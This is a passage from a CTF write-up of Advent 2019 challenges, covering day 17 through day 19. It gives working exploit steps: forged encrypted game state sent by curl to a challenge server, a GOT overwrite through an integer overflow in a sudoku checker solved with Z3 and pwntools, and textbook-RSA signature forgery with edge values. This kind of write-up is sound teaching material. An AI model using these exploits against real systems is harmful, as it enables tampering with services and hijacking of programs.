        plaintext.encode("ascii")
        print("Found key: {}".format(binascii.hexlify(key)))
        print(plaintext)
    except:
        continue
```

This will print the key that was used because all other key candidates do not decrypt the ciphertext to plain ASCII:

```
Found key: b'8865729c2fab0a6956239f3a994b60d50e8030e8'
{"money": 0.0, "speed": 1, "name": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
```

**Note:** The key is actually derived from the ID that is sent back to the client by calculating the SHA1 hash of the binary ID (see the source code of the challenge which was released after the deadline: https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-17_web1/server.py#L101)

#### Setting the state

With the key it is now easy to decrypt and encrypt arbitrary data.

```python
import hashlib
import base64


def encrypt(data, ID):
    key = hashlib.sha1(base64.b64decode(ID)).digest()
    data = data.encode()
    ciphertext = bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])
    return base64.b64encode(ciphertext)


print(encrypt('{"money": 5.0, "speed": 10e63, "name": "username"}', 'OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o='))
```

We now have to send the new state with the collection speed 10e63 to the server. The `/control` endpoint supports `save` as an action which will overwrite the state of the game.

```
$ curl 'http://3.93.128.89:1217/control' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{"action":"save","data":"nQZ2wk0avgzGKhMR4Sy5io/o55SCBiGNEk/3Hsw6Fg/9ILvGnfXn09wEOdhQGrVAnWdDHaw="}' 
```

Now we check if the state was successfully changed:

```
$ curl 'http://3.93.128.89:1217/client' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{"action":"state"}' 
{"collect_speed":1e+64,"elf_name":"username","flag":"AOTW{leaKinG_3ndp0int5}","snowflakes":9e+63,"speed_upgrade_cost":1e+300}
```

Very good! Now we can buy the flag.

```
$ curl 'http://3.93.128.89:1217/client' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{"action":"buy_flag"}'
```

The flag is now part of the `state` response:

```
$ curl 'http://3.93.128.89:1217/client' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{"action":"state"}' | json_pp
{
   "snowflakes" : 9e+63,
   "flag" : "AOTW{leaKinG_3ndp0int5}",
   "speed_upgrade_cost" : 1e+300,
   "elf_name" : "username",
   "collect_speed" : 1e+64
}
```

The flag is: `AOTW{leaKinG_3ndp0int5}`

## day-18 impressive sudoku

### Meta

* **Spent time:** 12 hours
* **Solved:** nope
* **Difficulty:** easy to medium

### Description

> First we asked you to solve a sudoku, now we want you to make one.

Along with an IP address/port there is also an archive given: https://advent2019.s3.amazonaws.com/4964615443db994db372a3d64524510452521f09809fdb50da22e83d15fb48ca.tar.gz The archive contains the file chal.cc and chal (an executable built from chal.cc).

### Analysis

chal.cc has 89 lines and expects a sudoku as an input (given by a 9x9 matrix read from stdin). The sudoku is checked and if the *score* of the sudoku is >= 1000000, the flag is printed.

There are two interesting functions: `check()` and `score()`. The first one checks if the given sudoku is valid according to the "usual" rules (i. e. every column and row as well as all 3x3 fields have to be a valid permutation of the numbers from 1 to 9):

```C
bool check() {
    uint row[9];
    for (int i = 0; i < 9; i++) {
        for (int j = 0; j < 9; j++) {
            row[j] = sudoku[i][j];
        }
        if (!checkrow(row)) {
            return false;
        }
    }
    for (int j = 0; j < 9; j++) {
        for (int i = 0; i < 9; i++) {
            row[i] = sudoku[i][j];
        }
        if (!checkrow(row)) {
            return false;
        }
    }
    for (int i = 0; i < 3; i++) {
        for (int j = 0; j < 3; j++) {
            for (int ii = 0; ii < 3; ii++) {
                for (int jj = 0; jj < 3; jj++) {
                    row[ii * 3 + jj] = sudoku[i * 3 + ii][j * 3 + jj];
                }
            }
            if (!checkrow(row)) {
                return false;
            }
        }
    }
    return true;
}

bool checkrow(uint nums[9]) {
    uint sum = 0;
    uint prod = 1;
    for (int i = 0; i < 9; i++) {
        sum += nums[i];
        prod *= nums[i];
    }
    // Lazy way to check nums is a permutation of 1 - 9.
    return sum == 45 && prod == 362880;
}
```

Interesting is the `checkrow()` function: To check if the integers are a valid permutation of 1 to 9, it sums up and multiplies all integers. However, the function contains a bug: If one of the digits overflows the range of an unsigned integer, the calculation happens modulo `sizeof(uint)`. I.e. it's possible to have numbers outside of 1 to 9 in the `nums` array which will be important later on.

Do determine the score of the sudoku the following code is used:

```C
uint scorer[9 + 1];

void score() {
        (...)
    for (int i = 0; i < 8; i++) {
        scorer[sudoku[i][i]] = sudoku[i + 1][i + 1];
    }
    uint score = 1;
    for (int i = 1; i <= 9; i++) {
        score *= scorer[i];
    }
    (...)
}
```

This code is interesting due to multiple reasons: 

* The first loop goes from 0 to inclusive 7, the second loop goes from 1 to inclusive 9. The second loop multiplies the values in the scorer array from `scorer[1]` to `scorer[9]`. However, the first loop is executed only 7 times. This means that two values will always be 0 because they are not overwritten in the `scorer` array and hence the whole score will always be 0.
* The value of the sudoku itself is used as an index for the `scorer` array: `scorer[sudoku[i][i]] = sudoku[i + 1][i + 1]`. 

At this point we were stuck and did not really know how to proceed.

### Solution

After the CTF, somebody posted a solution in Mattermost: https://pastebin.com/yMM49Q2W

The idea is to overwrite the address of `puts()` with the address of `win()`. This is possible because due to the overflow it is possible to overwrite arbitrary addresses: 

```C
        scorer[sudoku[i][i]] = sudoku[i + 1][i + 1];
```

This is equal to `*(scorer + sudoku[i][i]) = sudoku[i + 1][i + 1]`. The address of `puts()` is overwritten if `scorer + 4*sudoku[i][i] == puts`. Therefore we calculate the difference of the addresses of `puts()` and the `scorer` array and divide it by the size of an unsigned integer (4):

We don't know the position of `puts()` but because it is a library function, it uses the PLT (see also https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html for an explanation):

```
08048400 <puts@plt>:
 8048400:       ff 25 10 a0 04 08       jmp    *0x804a010
 8048406:       68 08 00 00 00          push   $0x8
 804840b:       e9 d0 ff ff ff          jmp    80483e0 <.plt>
```

Therefore we take the hard coded address `0x804a010` and write to that location.

```
ADDR_WIN = 0x08048799
ADDR_PUTS = 0x0804A010
ADDR_SCORER = 0x0804A1C0
OFFSET_PUTS = (ADDR_PUTS - ADDR_SCORER) // 4
```

Now we use Z3 to model a solution to the sudoku:

```python
cells = [BitVec('c_%d' % i, 32) for i in range(9)]
 
s = Solver()
s.add(sum(cells) == 45)
s.add(Product(cells) == 362880)
s.add(cells[0] == OFFSET_PUTS+2**32)
s.add(cells[1] == ADDR_WIN)
s.add(cells[2] == 1)
s.add(cells[3] == 2)
s.add(cells[4] == 3)

s.check()
m = s.model()
row = [m[c].as_long() for c in cells]
```

**Notes:**

* `2**32` is added to the offset because it is negative.
* The sum of all cells must be 45, which is checked in the `checkrow()` function.
* The product of all cells must be 362880, which is checked in the `checkrow()` function as well.

The output is, for example: `[4294967188, 134514585, 1, 2, 3, 3911297825, 108947494, 113742248, 26465291]`

Now we take an existing sudoku and replace the numbers with the numbers from the model. I. e. 3 in the first column is replaced with 1 because 1 is on the 3rd number in the output list. 6 is replaced with 3911297825 because it is the 6th number in the list, etc. This way the overflow holds for the rows, columns and the 3x3 matrices as well.

The final exploit sudoku is then sent line-wise to the server. The flag is retrieved and printed.

```C
r = remote(HOST, PORT)
 
solution_idx = [
        [3, 6, 7, 5, 8, 4, 1, 2, 9],
        [2, 4, 1, 7, 3, 9, 5, 6, 8],
        [9, 8, 5, 2, 6, 1, 4, 3, 7],
        [6, 5, 2, 3, 9, 7, 8, 4, 1],
        [7, 1, 3, 8, 4, 2, 6, 9, 5],
        [4, 9, 8, 6, 1, 5, 2, 7, 3],
        [1, 7, 9, 4, 2, 8, 3, 5, 6],
        [8, 2, 6, 9, 5, 3, 7, 1, 4],
        [5, 3, 4, 1, 7, 6, 9, 8, 2],
]
 
for row in range(9):
        r.sendline(' '.join(str(values[idx-1]) for idx in solution_idx[row]).encode('ascii'))
 
response = r.recvall()
r.close()
if b'AOTW{' in response:
        print(response)
```

This prints the flag: `AOTW{Th3t_is_such_aN_1mpr3ssive_Sud0ku}`

## day-19 santa's signature

### Meta

* **Spent time:** 2 hours
* **Solved:** by myself
* **Difficulty:** easy

### Description

> Can you forge Santa's signature? 

Along with the IP address/port there was also the Python code running on the server given which made the challenge even easier to solve.

```python
#!/usr/bin/env python3
import Crypto
from Crypto.PublicKey import RSA
import sys

try:
    with open("key",'r') as f:
        key = RSA.importKey(f.read())
except:
    rng = Crypto.Random.new().read
    key = RSA.generate(4096, rng)
    with open("key",'w') as f:
        f.write(key.exportKey().decode("utf-8"))

def h2i(h):
    try:
        return int(h,16)
    except Exception:
        print("Couldn't hex decode",flush=True)
        sys.exit()

header = \
"""Dear Santa,
Last christmas you gave me your public key,
to confirm it really is you please sign three
different messages with your private key.

Here is the public key you gave me:"""
print(header,flush=True)
print(key.publickey().exportKey().decode("utf-8"),flush=True)
ms = []

for i in range(1,4):
    m = h2i(input("Message %d you signed (hex encoded):" % i))
    if m in ms:
        print("I said different messages!",flush=True)
        sys.exit()
    s = [h2i(input("Signature %d:" % i))]
    if not key.verify(m,s):
        print("Looks like you aren't Santa after all!",flush=True)
        sys.exit()
    ms.append(m)

print("Hello Santa, here is your flag:",flush=True)
with open("flag",'r') as flag:
    print(flag.read(),flush=True)
```

The public key that is presented by the server is as follows:

```
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAu1jb39GZlWh9XPpOHmaa
ZEYrbNqa6KMf4E211NYklZytuRBQy71zOI8V9O7i12C4hjhoAzj8JnXkpFur7w3z
PLimVB/B+KfQq3fo5YqWzVhi06LuuCvyGwkWSO3K2sMyH3ISKlPKlyVzhr/9qeHR
2gbFXK6so8rHXpZGgSJk5TimuY4yb+TNjpfi4srQIyepVPCjECs4n+Ii941c+7KW
2wScAUk7MuMExuKuNvvKeTZdhQeq/ZCd0otascBXk9GmsBx0eVBzG8/94Hm+9egl
eQu1DqLn/HZovaAcyIbqjunuB/KoM76DISjhmcaRyipafEJm+u9/jPHAG+8dLUuc
Wr+04D9iAFBEt5XBA2u3WaaL4/eP7hR5mR9QOxH8YilpttfQJY/78AXo+GJtECTF
LJ7zRyP1Jq89qdySJVumxwZmKP3sE7mojTb2030TDF/27v+vMVVtczyAQdybDHzj
8ainHn2SP3yTTOnjNTuGWvIcs3Qa4bv78ezTmLofpsZLoRbcx5FV2YXuiao8ezD/
WBuIOlDZhqRiods3LN8x7gNQo8zDmwY0Z54oac2dPgIUr1AvnDbEGdqyCyJRIrnW
kLFMXdy2GJLSFMk+rswORKEtojCmqQIydW7+5M4J4FhVNyVtNuPcLfUjF+e5+V5E
+piEcAsCnQ1k9QHGZAuVxX8CAwEAAQ==
-----END PUBLIC KEY-----
```

### Analysis

My first guess for this challenge was that this involves some "RSA exponent three attack" (https://www.johndcook.com/blog/2019/03/06/rsa-exponent-3/) but in fact it was actually even easier. RSA is prone to a lot of attacks if implemented and used "raw", i. e. textbook style. The crypto library used is https://github.com/dlitz/pycrypto, so I downloaded that library and looked at the verify function.

```python
 def verify(self, M, signature):
        """Verify the validity of an RSA signature.
        :attention: this function performs the plain, primitive RSA encryption
         (*textbook*). In real applications, you always need to use proper
         cryptographic padding, and you should not directly verify data with
         this method. Failure to do so may lead to security vulnerabilities.
         It is recommended to use modules
         `Crypto.Signature.PKCS1_PSS` or `Crypto.Signature.PKCS1_v1_5` instead.
```

The function description confirms the suspicion that it is vulnerable which means that we are on the right track.

Verification in case of RSA works as follows:

If `s^e mod n` is equal to `m mod n` then the signature is valid (s is the signature, e is the public exponent, n is is the public modulus). 

### Solution

It is obvious that the equation is true for s = m = 0 and s = m = 1. However, we have to give three forged signatures and messages. But there is another special case  s = -1 because the (-1)^e = -1 if e is odd. Since e = 65537, this is the case. However, the server does not accept -1 as a message:

```
Message 1 you signed (hex encoded):-1
Signature 1:-1
Looks like you aren't Santa after all!
```

This can be solved by calculating `-1 mod n` so that the message is positive. This can be calculated easily with a bit of Python:

```python
>>> hex(pow(-1, e, n))
bb58dbdfd19995687d5cfa4e1e669a64462b6cda9ae8a31fe04db5d4d624959cadb91050cbbd73388f15f4eee2d760b88638680338fc2675e4a45babef0df33cb8a6541fc1f8a7d0ab77e8e58a96cd5862d3a2eeb82bf21b091648edcadac3321f72122a53ca97257386bffda9e1d1da06c55caeaca3cac75e9646812264e538a6b98e326fe4cd8e97e2e2cad02327a954f0a3102b389fe222f78d5cfbb296db049c01493b32e304c6e2ae36fbca79365d8507aafd909dd28b5ab1c05793d1a6b01c747950731bcffde079bef5e825790bb50ea2e7fc7668bda01cc886ea8ee9ee07f2a833be832128e199c691ca2a5a7c4266faef7f8cf1c01bef1d2d4b9c5abfb4e03f62005044b795c1036bb759a68be3f78fee1479991f503b11fc622969b6d7d0258ffbf005e8f8626d1024c52c9ef34723f526af3da9dc92255ba6c7066628fdec13b9a88d36f6d37d130c5ff6eeffaf31556d733c8041dc9b0c7ce3f1a8a71e7d923f7c934ce9e3353b865af21cb3741ae1bbfbf1ecd398ba1fa6c64ba116dcc79155d985ee89aa3c7b30ff581b883a50d986a462a1db372cdf31ee0350a3ccc39b0634679e2869cd9d3e0214af502f9c36c419dab20b225122b9d690b14c5ddcb61892d214c93eaecc0e44a12da230a6a90232756efee4ce09e0585537256d36e3dc2df52317e7b9f95e44fa9884700b029d0d64f501c6640b95c57e
```

Now that we have all three messages and signatures, the server gives us the flag: `AOTW{RSA_3dg3_c4s3s_ftw}`